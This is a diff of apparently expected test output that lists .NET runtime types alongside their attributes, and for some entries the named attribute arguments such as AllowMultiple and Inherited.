System.Runtime.CompilerServices.TypeForwardedFromAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.TypeForwardedFromAttribute.<AssemblyFullName>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.TypeForwardedToAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.TypeForwardedToAttribute.<Destination>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.UnsafeValueTypeAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.ValueTaskAwaiter | [IsReadOnlyAttribute(...)] | | System.Runtime.CompilerServices.ValueTaskAwaiter.<>c | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.ValueTaskAwaiter`1 | [IsReadOnlyAttribute(...)] | @@ -616,110 +464,60 @@ attrNoArg | System.Runtime.CompilerServices.YieldAwaitable.YieldAwaiter | [IsReadOnlyAttribute(...)] | | System.Runtime.CompilerServices.YieldAwaitable.YieldAwaiter.<>c | [CompilerGeneratedAttribute(...)] | | System.Runtime.ConstrainedExecution.PrePrepareMethodAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.ConstrainedExecution.ReliabilityContractAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.ConstrainedExecution.ReliabilityContractAttribute.<Cer>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.ConstrainedExecution.ReliabilityContractAttribute.<ConsistencyGuarantee>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.ExceptionServices.FirstChanceExceptionEventArgs.<Exception>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.ExceptionServices.HandleProcessCorruptedStateExceptionsAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.InteropServices.AllowReversePInvokeCallsAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.BStrWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.BestFitMappingAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.BestFitMappingAttribute.<BestFitMapping>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.ClassInterfaceAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.ClassInterfaceAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.CoClassAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.CoClassAttribute.<CoClass>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.ComDefaultInterfaceAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.ComDefaultInterfaceAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.ComEventInterfaceAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.ComEventInterfaceAttribute.<EventProvider>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.ComEventInterfaceAttribute.<SourceInterface>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.ComImportAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.InteropServices.ComSourceInterfacesAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.ComSourceInterfacesAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.ComTypes.FUNCFLAGS | [FlagsAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IBindCtx | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IConnectionPoint | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IConnectionPointContainer | [InterfaceTypeAttribute(...)] | | System.Runtime.InteropServices.ComTypes.IDLFLAG | [FlagsAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IEnumConnectionPoints | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IEnumConnections | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IEnumMoniker | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IEnumString | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IEnumVARIANT | [InterfaceTypeAttribute(...)] | | System.Runtime.InteropServices.ComTypes.IMPLTYPEFLAGS | [FlagsAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IMoniker | [InterfaceTypeAttribute(...)] | | System.Runtime.InteropServices.ComTypes.INVOKEKIND | [FlagsAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IPersistFile | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IRunningObjectTable | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.IStream | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.ITypeComp | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.ITypeInfo | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.ITypeInfo2 | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.ITypeLib | [InterfaceTypeAttribute(...)] | -| System.Runtime.InteropServices.ComTypes.ITypeLib2 | [InterfaceTypeAttribute(...)] | | System.Runtime.InteropServices.ComTypes.LIBFLAGS | [FlagsAttribute(...)] | | System.Runtime.InteropServices.ComTypes.PARAMFLAG | [FlagsAttribute(...)] | | System.Runtime.InteropServices.ComTypes.TYPEFLAGS | [FlagsAttribute(...)] | | System.Runtime.InteropServices.ComTypes.VARFLAGS | [FlagsAttribute(...)] | -| System.Runtime.InteropServices.ComVisibleAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.ComVisibleAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.CurrencyWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.DefaultCharSetAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.DefaultCharSetAttribute.<CharSet>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.DefaultDllImportSearchPathsAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.DefaultDllImportSearchPathsAttribute.<Paths>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.DefaultParameterValueAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.DefaultParameterValueAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.DispIdAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.DispIdAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.DispatchWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.DllImportAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.DllImportAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.DllImportSearchPath | [FlagsAttribute(...)] | | System.Runtime.InteropServices.ErrorWrapper.<ErrorCode>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.FieldOffsetAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.FieldOffsetAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.GuidAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.GuidAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.HandleRef | [IsReadOnlyAttribute(...)] | -| System.Runtime.InteropServices.InAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.InteropServices.InterfaceTypeAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.InterfaceTypeAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.LCIDConversionAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.LCIDConversionAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.Marshal.<>c | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.MarshalAsAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.MarshalAsAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.MemoryMarshal.<ToEnumerable>d__3`1 | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.NativeCallableAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.InteropServices.OptionalAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.InteropServices.OutAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.InteropServices.PreserveSigAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.InteropServices.ProgIdAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.ProgIdAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.StructLayoutAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.StructLayoutAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.TypeIdentifierAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.TypeIdentifierAttribute.<Identifier>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.TypeIdentifierAttribute.<Scope>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.UnknownWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.InteropServices.UnmanagedFunctionPointerAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.InteropServices.UnmanagedFunctionPointerAttribute.<CallingConvention>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.InteropServices.VariantWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.Intrinsics.Vector64 | [ExtensionAttribute(...)] | | System.Runtime.Intrinsics.Vector64DebugView`1 | [IsReadOnlyAttribute(...)] | -| System.Runtime.Intrinsics.Vector64`1 | [DebuggerTypeProxyAttribute(...)] | | System.Runtime.Intrinsics.Vector64`1 | [IntrinsicAttribute(...)] | | System.Runtime.Intrinsics.Vector64`1 | [IsReadOnlyAttribute(...)] | | System.Runtime.Intrinsics.Vector128 | [ExtensionAttribute(...)] | | System.Runtime.Intrinsics.Vector128DebugView`1 | [IsReadOnlyAttribute(...)] | -| System.Runtime.Intrinsics.Vector128`1 | [DebuggerTypeProxyAttribute(...)] | | System.Runtime.Intrinsics.Vector128`1 | [IntrinsicAttribute(...)] | | System.Runtime.Intrinsics.Vector128`1 | [IsReadOnlyAttribute(...)] | | System.Runtime.Intrinsics.Vector256 | [ExtensionAttribute(...)] | | System.Runtime.Intrinsics.Vector256DebugView`1 | [IsReadOnlyAttribute(...)] | -| System.Runtime.Intrinsics.Vector256`1 | [DebuggerTypeProxyAttribute(...)] | | System.Runtime.Intrinsics.Vector256`1 | [IntrinsicAttribute(...)] | | System.Runtime.Intrinsics.Vector256`1 | [IsReadOnlyAttribute(...)] | | System.Runtime.Intrinsics.X86.Aes | [IntrinsicAttribute(...)] | @@ -752,7 +550,6 @@ attrNoArg | System.Runtime.Loader.AssemblyLoadContext.<get_Assemblies>d__58 | [CompilerGeneratedAttribute(...)] | | System.Runtime.Loader.AssemblyLoadContext.AssemblyLoad | [CompilerGeneratedAttribute(...)] | | System.Runtime.Loader.AssemblyLoadContext.AssemblyResolve | [CompilerGeneratedAttribute(...)] | -| System.Runtime.Loader.AssemblyLoadContext.ContextualReflectionScope | [EditorBrowsableAttribute(...)] | | System.Runtime.Loader.AssemblyLoadContext.ResourceResolve | [CompilerGeneratedAttribute(...)] | | System.Runtime.Loader.AssemblyLoadContext.TypeResolve | [CompilerGeneratedAttribute(...)] | | System.Runtime.Loader.AssemblyLoadContext._resolving | [CompilerGeneratedAttribute(...)] | @@ -761,11 +558,6 @@ attrNoArg | System.Runtime.Loader.LibraryNameVariation.<DetermineLibraryNameVariations>d__5 | [CompilerGeneratedAttribute(...)] | | System.Runtime.Serialization.DeserializationToken | [IsReadOnlyAttribute(...)] | | System.Runtime.Serialization.DeserializationTracker.<DeserializationInProgress>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.Serialization.OnDeserializedAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.Serialization.OnDeserializingAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.Serialization.OnSerializedAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.Serialization.OnSerializingAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.Serialization.OptionalFieldAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.Serialization.SafeSerializationEventArgs.<StreamingContext>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.Serialization.SerializationEntry | [IsReadOnlyAttribute(...)] | | System.Runtime.Serialization.SerializationInfo.<AsyncDeserializationInProgress>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -775,14 +567,9 @@ attrNoArg | System.Runtime.Serialization.StreamingContextStates | [FlagsAttribute(...)] | | System.Runtime.TargetedPatchingOptOutAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.TargetedPatchingOptOutAttribute.<Reason>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.Versioning.NonVersionableAttribute | [AttributeUsageAttribute(...)] | -| System.Runtime.Versioning.TargetFrameworkAttribute | [AttributeUsageAttribute(...)] | | System.RuntimeArgumentHandle | [IsByRefLikeAttribute(...)] | | System.RuntimeType.RuntimeTypeCache.Filter | [IsReadOnlyAttribute(...)] | -| System.STAThreadAttribute | [AttributeUsageAttribute(...)] | -| System.Security.AllowPartiallyTrustedCallersAttribute | [AttributeUsageAttribute(...)] | | System.Security.AllowPartiallyTrustedCallersAttribute.<PartialTrustVisibilityLevel>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Security.SecurityCriticalAttribute | [AttributeUsageAttribute(...)] | | System.Security.SecurityCriticalAttribute.<Scope>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Security.SecurityElement.<>c | [CompilerGeneratedAttribute(...)] | | System.Security.SecurityException.<Demanded>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -795,18 +582,10 @@ attrNoArg | System.Security.SecurityException.<PermitOnlySetInstance>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Security.SecurityException.<RefusedSet>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Security.SecurityException.<Url>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Security.SecurityRulesAttribute | [AttributeUsageAttribute(...)] | | System.Security.SecurityRulesAttribute.<RuleSet>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Security.SecurityRulesAttribute.<SkipVerificationInFullTrust>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Security.SecuritySafeCriticalAttribute | [AttributeUsageAttribute(...)] | -| System.Security.SecurityTransparentAttribute | [AttributeUsageAttribute(...)] | -| System.Security.SecurityTreatAsSafeAttribute | [AttributeUsageAttribute(...)] | -| System.Security.SuppressUnmanagedCodeSecurityAttribute | [AttributeUsageAttribute(...)] | -| System.Security.UnverifiableCodeAttribute | [AttributeUsageAttribute(...)] | -| System.SerializableAttribute | [AttributeUsageAttribute(...)] | | System.SpanHelpers | [ExtensionAttribute(...)] | | System.SpanHelpers.ComparerComparable`2 | [IsReadOnlyAttribute(...)] | -| System.Span`1 | [DebuggerTypeProxyAttribute(...)] | | System.Span`1 | [IsByRefLikeAttribute(...)] | | System.Span`1 | [IsReadOnlyAttribute(...)] | | System.Span`1 | [NonVersionableAttribute(...)] | @@ -832,7 +611,6 @@ attrNoArg | System.Text.StringBuilderCache.t_cachedInstance | [ThreadStaticAttribute(...)] | | System.Text.StringOrCharArray | [IsReadOnlyAttribute(...)] | | System.Text.ValueStringBuilder | [IsByRefLikeAttribute(...)] | -| System.ThreadStaticAttribute | [AttributeUsageAttribute(...)] | | System.Threading.AsyncLocalValueChangedArgs`1 | [IsReadOnlyAttribute(...)] | | System.Threading.AsyncLocalValueChangedArgs`1.<CurrentValue>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Threading.AsyncLocalValueChangedArgs`1.<PreviousValue>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -849,16 +627,12 @@ attrNoArg | System.Threading.ReaderWriterLockSlim.t_rwc | [ThreadStaticAttribute(...)] | | System.Threading.SemaphoreSlim.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.SemaphoreSlim.<WaitUntilCountOrTimeoutAsync>d__33 | [CompilerGeneratedAttribute(...)] | -| System.Threading.SpinLock | [DebuggerTypeProxyAttribute(...)] | | System.Threading.SynchronizationContext.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.AwaitTaskContinuation.<>c | [CompilerGeneratedAttribute(...)] | -| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair | [DebuggerTypeProxyAttribute(...)] | | System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.<>c | [CompilerGeneratedAttribute(...)] | -| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ConcurrentExclusiveTaskScheduler | [DebuggerTypeProxyAttribute(...)] | | System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ProcessingMode | [FlagsAttribute(...)] | | System.Threading.Tasks.GenericDelegateCache`2.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.InternalTaskOptions | [FlagsAttribute(...)] | -| System.Threading.Tasks.SingleProducerSingleConsumerQueue`1 | [DebuggerTypeProxyAttribute(...)] | | System.Threading.Tasks.SingleProducerSingleConsumerQueue`1.<GetEnumerator>d__11 | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1.<RunContinuationsAsynchronously>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -868,7 +642,6 @@ attrNoArg | System.Threading.Tasks.SynchronizationContextAwaitTaskContinuation.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.SynchronizationContextAwaitTaskContinuation.<>c__DisplayClass6_0 | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.SynchronizationContextTaskScheduler.<>c | [CompilerGeneratedAttribute(...)] | -| System.Threading.Tasks.Task | [DebuggerTypeProxyAttribute(...)] | | System.Threading.Tasks.Task.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.Task.<CompletedTask>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.Task.<Factory>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -887,27 +660,22 @@ attrNoArg | System.Threading.Tasks.TaskFactory`1.<>c__DisplayClass44_0`3 | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.TaskFactory`1.FromAsyncTrimPromise`1.m_thisRef | [AllowNullAttribute(...)] | | System.Threading.Tasks.TaskFactory`1.FromAsyncTrimPromise`1.m_thisRef | [MaybeNullAttribute(...)] | -| System.Threading.Tasks.TaskScheduler | [DebuggerTypeProxyAttribute(...)] | | System.Threading.Tasks.TaskScheduler.UnobservedTaskException | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.TaskSchedulerAwaitTaskContinuation.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.TaskToApm.<>c__DisplayClass3_0 | [CompilerGeneratedAttribute(...)] | -| System.Threading.Tasks.Task`1 | [DebuggerTypeProxyAttribute(...)] | | System.Threading.Tasks.Task`1.TaskWhenAnyCast.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.Task`1.m_result | [MaybeNullAttribute(...)] | | System.Threading.Tasks.ThreadPoolTaskScheduler.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.ThreadPoolTaskScheduler.<FilterTasksFromWorkItems>d__6 | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.UnwrapPromise`1.<>c | [CompilerGeneratedAttribute(...)] | -| System.Threading.Tasks.ValueTask | [AsyncMethodBuilderAttribute(...)] | | System.Threading.Tasks.ValueTask | [IsReadOnlyAttribute(...)] | | System.Threading.Tasks.ValueTask.ValueTaskSourceAsTask.<>c | [CompilerGeneratedAttribute(...)] | -| System.Threading.Tasks.ValueTask`1 | [AsyncMethodBuilderAttribute(...)] | | System.Threading.Tasks.ValueTask`1 | [IsReadOnlyAttribute(...)] | | System.Threading.Tasks.ValueTask`1.ValueTaskSourceAsTask.<>c | [CompilerGeneratedAttribute(...)] | | System.Threading.Tasks.ValueTask`1._result | [AllowNullAttribute(...)] | | System.Threading.Thread.t_currentProcessorIdCache | [ThreadStaticAttribute(...)] | | System.Threading.Thread.t_currentThread | [ThreadStaticAttribute(...)] | | System.Threading.ThreadHandle | [IsReadOnlyAttribute(...)] | -| System.Threading.ThreadLocal`1 | [DebuggerTypeProxyAttribute(...)] | | System.Threading.ThreadLocal`1.LinkedSlot._value | [AllowNullAttribute(...)] | | System.Threading.ThreadLocal`1.LinkedSlot._value | [MaybeNullAttribute(...)] | | System.Threading.ThreadLocal`1.ts_finalizationHelper | [ThreadStaticAttribute(...)] | @@ -934,7 +702,6 @@ attrNoArg | System.TypedReference | [NonVersionableAttribute(...)] | | System.UIntPtr | [IsReadOnlyAttribute(...)] | | System.UIntPtr.Zero | [IntrinsicAttribute(...)] | -| System.__Canon | [ClassInterfaceAttribute(...)] | | System.__DTString | [IsByRefLikeAttribute(...)] | | bool | [IsReadOnlyAttribute(...)] | | byte | [IsReadOnlyAttribute(...)] | @@ -945,8 +712,6 @@ attrNoArg | float | [IsReadOnlyAttribute(...)] | | int | [IsReadOnlyAttribute(...)] | | long | [IsReadOnlyAttribute(...)] | -| object | [ClassInterfaceAttribute(...)] | -| object[] System.Collections.ArrayList.ArrayListDebugView.Items | [DebuggerBrowsableAttribute(...)] | | sbyte | [IsReadOnlyAttribute(...)] | | short | [IsReadOnlyAttribute(...)] | | string.Empty | [IntrinsicAttribute(...)] | @@ -954,18 +719,196 @@ attrNoArg | ulong | [IsReadOnlyAttribute(...)] | | ushort | [IsReadOnlyAttribute(...)] | attrArgNamed +| System.Attribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Attribute | [AttributeUsageAttribute(...)] | Inherited | True | +| System.AttributeUsageAttribute | [AttributeUsageAttribute(...)] | Inherited | True | | System.Buffers.ArrayPoolEventSource | [EventSourceAttribute(...)] | Guid | 0866B2B8-5CEF-5DB9-2612-0C0FFD814A44 | | System.Buffers.ArrayPoolEventSource | [EventSourceAttribute(...)] | Name | System.Buffers.ArrayPoolEventSource | +| System.CLSCompliantAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.CLSCompliantAttribute | [AttributeUsageAttribute(...)] | Inherited | True | | System.Collections.KeyValuePairs | [DebuggerDisplayAttribute(...)] | Name | [{_key}] | +| System.Diagnostics.CodeAnalysis.AllowNullAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.CodeAnalysis.DisallowNullAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.CodeAnalysis.DoesNotReturnAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.CodeAnalysis.MaybeNullAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.CodeAnalysis.MaybeNullWhenAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.CodeAnalysis.NotNullAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.CodeAnalysis.NotNullWhenAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.ConditionalAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Diagnostics.Contracts.ContractAbbreviatorAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Diagnostics.Contracts.ContractArgumentValidatorAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Diagnostics.Contracts.ContractClassAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Diagnostics.Contracts.ContractClassAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.Contracts.ContractClassForAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Diagnostics.Contracts.ContractClassForAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.Contracts.ContractInvariantMethodAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Diagnostics.Contracts.ContractInvariantMethodAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.Contracts.ContractOptionAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Diagnostics.Contracts.ContractOptionAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.Contracts.ContractRuntimeIgnoredAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Diagnostics.Contracts.ContractRuntimeIgnoredAttribute | [AttributeUsageAttribute(...)] | Inherited | True | +| System.Diagnostics.Contracts.PureAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Diagnostics.Contracts.PureAttribute | [AttributeUsageAttribute(...)] | Inherited | True | +| System.Diagnostics.DebuggableAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Diagnostics.DebuggerBrowsableAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Diagnostics.DebuggerDisplayAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Diagnostics.DebuggerHiddenAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.DebuggerNonUserCodeAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.DebuggerStepThroughAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.DebuggerStepperBoundaryAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.DebuggerTypeProxyAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Diagnostics.DebuggerVisualizerAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | +| System.Diagnostics.StackTraceHiddenAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Diagnostics.Tracing.EventDataAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Diagnostics.Tracing.FrameworkEventSource | [EventSourceAttribute(...)] | Guid | 8E9F5090-2D75-4d03-8A81-E5AFBF85DAF1 | | System.Diagnostics.Tracing.FrameworkEventSource | [EventSourceAttribute(...)] | Name | System.Diagnostics.Eventing.FrameworkEventSource | | System.Diagnostics.Tracing.NativeRuntimeEventSource | [EventSourceAttribute(...)] | Guid | 5E5BB766-BBFC-5662-0548-1D44FAD9BB56 | | System.Diagnostics.Tracing.NativeRuntimeEventSource | [EventSourceAttribute(...)] | Name | Microsoft-Windows-DotNETRuntime | | System.Diagnostics.Tracing.RuntimeEventSource | [EventSourceAttribute(...)] | Guid | 49592C0F-5A05-516D-AA4B-A64E02026C89 | | System.Diagnostics.Tracing.RuntimeEventSource | [EventSourceAttribute(...)] | Name | System.Runtime | +| System.FlagsAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Globalization.CompareInfo.m_SortVersion | [OptionalFieldAttribute(...)] | VersionAdded | 3 | | System.Globalization.CompareInfo.m_name | [OptionalFieldAttribute(...)] | VersionAdded | 2 | +| System.NonSerializedAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.ObsoleteAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.ParamArrayAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.ParamArrayAttribute | [AttributeUsageAttribute(...)] | Inherited | True | +| System.Reflection.AssemblyAlgorithmIdAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyCompanyAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyConfigurationAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyCopyrightAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyCultureAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyDefaultAliasAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyDelaySignAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyDescriptionAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyFileVersionAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyFlagsAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Reflection.AssemblyInformationalVersionAttribute | [AttributeUsageAttribute(...)] 